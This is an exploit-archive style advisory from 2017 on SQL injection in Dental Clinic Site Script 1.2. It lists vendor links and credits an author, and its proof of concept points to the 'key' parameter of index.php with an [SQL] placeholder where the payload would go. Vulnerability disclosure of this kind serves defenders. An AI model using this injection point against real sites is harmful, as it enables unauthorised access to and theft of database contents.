ICDental Clinic 1.2 - 'key' SQL Injection

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# Exploit Title: Dental Clinic Site Script 1.2 - SQL Injection
# Dork: N/A
# Date: 13.09.2017
# Vendor Homepage: http://www.icloudcenter.com/
# Software Link: http://www.icloudcenter.com/dental-clinic-script.htm
# Demo: http://icloudcenter.net/demos/icdentalclinic/
# Version: 1.2
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
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# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
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# Description:
# The vulnerability allows an attacker to inject sql commands....
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# Proof of Concept: 
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# http://localhost/[PATH]/index.php?page=static_pages&key=[SQL]
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# Etc..
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